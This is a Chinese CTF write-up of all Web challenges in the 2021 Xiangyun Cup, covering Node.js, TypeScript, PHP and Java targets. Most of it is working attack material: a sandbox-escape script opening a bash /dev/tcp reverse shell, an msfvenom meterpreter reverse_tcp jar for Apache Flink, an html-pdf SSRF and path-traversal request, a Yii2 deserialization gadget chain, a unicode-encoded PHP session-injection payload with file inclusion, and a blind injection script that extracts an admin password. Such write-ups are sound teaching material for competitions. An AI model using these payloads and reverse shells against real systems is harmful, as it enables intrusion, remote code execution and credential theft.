2021祥云杯Web全解

前段时间和队友@Firebasky一起AK了祥云杯的Web题目,感觉这次比赛Web题质量还不错

自己做了Node.Js、Typescript和一个PHP,下面是全部的WP

Crawler_z

给了附件

image-20210821233921114

routes/index.js没啥好说的,sighin和sighup功能,然后看到登陆后的/user路由,写在了routes/user.js

这里能更新个人信息

image-20210822034723383

这里直接对user.bucket发起了请求

image-20210822034748410

看看是怎么请求的

crawler.js

image-20210822035309358

其实这里卡了一会儿,因为没找到目标点

直到找到这篇文章

https://ha.cker.in/index.php/Article/13563

image-20210822035449370

zombie这个库如果能控制目标那么就能实现RCE

那目标也清晰了,就是更改bucket为自己VPS恶意地址

这里还有一段check

image-20210822035624378

绕过方法如下

随便注册一个账号,然后来到/user/profile

image-20210821235205136

这里直接自带了一个Bucket,先点击Update,然后得到token

/user/verify?token=0afe5b79dcf162297fd0d3abecb31cb2fce3a79a1cfa2d92a663c3a68a278cba

image-20210821235259764

然后修改自带payload为vas,我这里是http://1.116.153.158/ttpfx/1.html?a=oss-cn-beijing.ichunqiu.com

抓包,发到Repeater进行请求

image-20210821235446943

然后在再get请求刚才得到的token地址即可完成更新

更新后,将vps的地址存放如下payload

1.html

1
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>

然后访问/user/bucket即可触发payload反弹shell

执行根目录/readflag即可得到flag

Secrets_Of_Admin

第一次遇到TypeScript,不过还好和node相差不大,还是能看懂代码
而且不知道是不是非预期,和其他师傅最后一步不一样,其他人用的sql注入,而我直接目录穿越

同样给了源码,是typescript

先来了解一下大概的架构

routes/index.ts

这里是登录

image-20210822030041826

下面的是成为admin后的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
//if(false){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

只要成为了admin就可以写一个PDF文件,这个pdf的名字是随机的,存放目录也不可控

这里需要本地才能请求,可以向db insert一个数据

image-20210822030144012

database.ts

image-20210822030224824

insert的三个字段各自代表什么意思后面说

这里是根据请求id向数据库查询文件名,然后读取文件返回文件

image-20210822030311793

database.ts

image-20210822031355253

而这里是怎么返回文件的呢?由POST /admin可以看到,这里会将创建的PDF生成一个随机数checksum,然后将生成的文件名与checksum绑定在一起放到数据库,数据库大概执行的语句为

INSERT INTO files(username, filename, checksum) VALUES('superuser', 'xxxxxxxx.pdf', 'aaaaaaaaa');

image-20210822030519710

这样,就只需要向数据库发送ID即可返回相应文件名,即请求/api/files/idxxx得到idxxx,然后去数据库查询是否有idxxx绑定的文件名,有就返回文件名并读取文件内容,没有就返回false

从这里也可以回看到/api/files,中间的create我们对usernamefilenamechecksum完全可控,所以能使用这个API就代表我们能自己控制filename去绑定自定义的checksum,然后访问获取到内容

题目结构了解完了,开始做题

先成为admin吧,这里写了admin password

image-20210822031701961

直接登录即可

image-20210822031849200

这里就是POST /admin了,在这里卡了一会儿,想到既然有127.0.0.1那肯定要找个SSRF,但通看全场都没能让我发起SSRF的地方

然后查了一下,找到了html-pdf这个依赖库的洞

https://github.com/marcbachmann/node-html-pdf/issues/530

image-20210822031557750

这个洞能直接读文件,本地测了一下,读不了,应该是做了什么限制,懒得跟踪了,而且就算能读也没用,生成的pdf id是随机的,我们完全不知道,所以拿不到内容,最重要的是,它是以superuser的身份进行存储

image-20210822032144379

本地搭环境能伪造superuser,但这里完全绕不过

image-20210822032237211

所以成为superuser这一思路是错的,继续SSRF

想到exp既然能XHR读文件,你都能file协议了还不能http协议么?

于是将写PDF的内容检测语句删掉,然后测了<img src="http://106.15.121.121:1234/1.jpg">,服务器直接收到了数据包,SSRF get!

那现在就是绕过内容检测语句了

image-20210822032538799

过滤了尖括号,注入点又不处于标签中<h3>${content}</h3>,真要命

所以思路走偏了,只想在HTML的层面进行绕过,测了很久,试了HTML实体转义、utf-8、URL Decode

最后走投无路尝试去绕.includes()方法,一搜就出来了

来自404师傅的博客

image-20210822032827544

数组能绕,那不就皆大欢喜了么

根据database.ts的语句

image-20210822033043767

尝试来一发content[]=<img src="http://127.0.0.1:8888/api/files?username=admin&filename=flag&checksum=2333">,直接把我本地环境打退出了

远程来一发,直接给我容器干没了(😡

本地报了个奇奇怪怪的sqlite的错误,懒得去跟了,猜测是不允许我直接读flag

后面和其他师傅讨论才知道,sqlite不允许存在同名的键值,即flag键已经被使用过了,所以需要用后面目录穿越来绕一下

又跟了一下

image-20210822033521301

直接拼接目录?来了个目录穿越,成功读取到了/etc/passwd,然后试一下用目录穿越读flag

先从files目录穿到父目录去然后再去获取files/flag

最终payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /admin HTTP/1.1
Host: eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888
Content-Length: 11
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Origin: http://eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: UM_distinctid=178bbe1ab19c4b-03b55de3f08a36-336b7c08-13c680-178bbe1ab1ab5c; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629357609; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629357972; __jsluid_h=38223de3fca96ed1e1b5459037f7c502; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU
Connection: close

content[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=2333">

然后访问/api/files/2333即可下载flag

image-20210822034143444

总结流程

1
http-pdf SSRF ---> /api/files目录穿越绑定文件 ---> 访问id获取flag

流程不长就是挺费劲的

层层穿透

访问发现了一个apache Flink,搜一下发现存在RCE

https://zhuanlan.zhihu.com/p/124948581

上传一个jar包即可反弹shell

1
msfvenom -p java/meterpreter/reverse_tcp LHOST=ip LPORT=port -f jar > poc.jar

前面太卡了,还有人在爆破上传,有够缺德的

跟着流出来即可收到shell,挂个代理,然后就是内网的阶段,给了内网服务的源码

看了一下pom.xml,发现了很多jar包,有cc、shirt、fastjson什么的

image-20210822154655612

这里能FastJson

image-20210822155350511

需要成为admin,给了密码

image-20210822154928936

然后还有个字符长度的限制,用idap绕了一下发现没打通,可能不出网

找到一个c3p0

https://github.com/depycode/fastjson-c3p0

用这个直接打就是

ezyii

给了源码,入口就是反序列化点

打了一会儿之前爆出的链子,没成功,找到这篇文章

yii 2.0.42 最新反序列化利用全集

直接打就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
namespace Codeception\Extension{
use Faker\UniqueGenerator;
class RunProcess{

private $processes = [];
public function __construct(){

$this->processes[]=new UniqueGenerator();
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
use Symfony\Component\String\LazyString;
class UniqueGenerator
{
protected $generator;
protected $maxRetries;
public function __construct()
{
$a = new LazyString();
$this->generator = new DefaultGenerator($a);
$this->maxRetries = 2;
}
}
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct(){
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
}

安全检测平台

扫描到.login.php.swp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
//error_reporting(0);
ob_start();
session_start();

function check3($username){
$pattern = "\/\*|\*|\.\.\/|\.\/|<|>|\?|\*|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .= "|select|insert|update|delete|load_file|into outfile|drop";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|\@|:\/\/|flag";
$pattern .="|file|dict|gopher";

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $username )){
echo "检测到恶意字符";
exit(0);
}
}
}

$username=file_get_contents("php://input");
check3($username);
$username=json_decode($username)->username;


if($username){
$_SESSION['user1']=$username;
Header("Location:./index.php");
ob_end_flush();
exit(0);
}


?>

然后还扫到了/admin目录,返回403

登录后有一个网站扫描的接口

image-20210821232913537

这里就能SSRF了,猜测需要用这里去访问/admin

一个小坑点,输入http://localhost/admin会返回失败,输入http://127.0.0.1/admin会返回成功

然后输入http://127.0.0.1/admin发现存在目录泄露,得到include123.php,输入http://127.0.0.1/admin/include123.php得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);


show_source(__FILE__);
?>

这里就是文件包含了,过滤了很多东西,所以不能直接读flag,但可以包含session文件来RCE

username设置为命令执行的payload

1
<?php system('ls /');?>

但存在waf,因为登陆点是json格式,所以直接unicode绕

http://www.toolscat.com/decode/unicode

最终payload

image-20210821233457361

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /login.php HTTP/1.1
Host: eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com
Content-Length: 276
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com
Referer: http://eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: UM_distinctid=178bbe1ab19c4b-03b55de3f08a36-336b7c08-13c680-178bbe1ab1ab5c; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629357609; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629357972; PHPSESSID=318269ebed54edffb9a8d42ed5538634; __jsluid_h=03d101ea5a6a263b34ca7911262e4fb6
Connection: close

{"username":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0063\u0068\u006f\u0020\u0066\u0069\u006c\u0065\u005f\u0067\u0065\u0074\u005f\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u0073\u0028\u0027\u002f\u0066\u006c\u0061\u0067\u0027\u0029\u003b\u0020\u003f\u003e","password":"1"}

然后在SSRF点输入http://127.0.0.1/admin/include123.php?u=/tmp/sess_0a591f733185be45367ca406158a5775包含session过来即可

image-20210821233610640

PackageManager2021

非预期,看题面就知道是xss,但无意发现了sqli???

直接贴一下队友的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#b!@#$d5dh47jyfz#098crw*w
import requests
passwd = ""
for i in range(0,50):
for j in range(32,127):
burp0_url = "http://47.104.108.80:8888/auth"
burp0_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe0wEbmm2NSA%2B4tVAlsYy7eRoIE"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.104.108.80:8888", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.104.108.80:8888/auth", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"_csrf": "kATaxQjv-Uka6Hw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe0c36a12aec113cd7982043573\"||(this.username==\"admin\"&&this.password[{}]==\"{}\")||\"".format(i,chr(j))}
res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
# print(str(i) + ":" + chr(j))
if res.status_code == 302:
passwd += chr(j)
print(passwd)

直接注出admin密码,登录即可看到flag

评论